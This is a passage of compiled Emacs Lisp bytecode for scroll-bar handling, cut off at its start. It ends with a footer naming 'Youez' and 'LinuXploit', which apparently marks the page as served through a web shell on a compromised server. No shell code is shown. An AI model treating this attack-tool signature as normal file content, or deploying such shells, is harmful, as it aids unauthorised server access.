\211)-\207" [event end-position window part bidi-factor before-scroll event-end 4 current-bidi-paragraph-direction window-buffer left-to-right 1 -1 nil end-scroll internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] select-window mark-for-redisplay #s(hash-table size 8 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (before-handle 69 after-handle 78 ratio 87 left 135 right 144 leftmost 153 rightmost 171 horizontal-handle 189)) scroll-right scroll-left 2 scroll-bar-scale window-width 0 line-beginning-position line-end-position scroll-bar-horizontal-drag-1 sit-for point-before-scroll save-selected-window--state portion-whole columns] 4 (#$ . 15137) "e"])
(byte-code "\301\300!\203\203\302\303\304\"\210\302\305\306\"\210\2020\302\307\310\"\210\302\311\310\"\210\302\312\313\"\210\302\314\315\"\210\302\316\315\"\210\317\320!\207" [x-toolkit-scroll-bars boundp global-set-key [vertical-scroll-bar mouse-1] scroll-bar-toolkit-scroll [horizontal-scroll-bar mouse-1] scroll-bar-toolkit-horizontal-scroll [vertical-scroll-bar mouse-1] scroll-bar-scroll-up [vertical-scroll-bar drag-mouse-1] [vertical-scroll-bar down-mouse-2] scroll-bar-drag [vertical-scroll-bar mouse-3] scroll-bar-scroll-down [vertical-scroll-bar drag-mouse-3] provide scroll-bar] 3)

Youez - 2016 - github.com/yon3zu
LinuXploit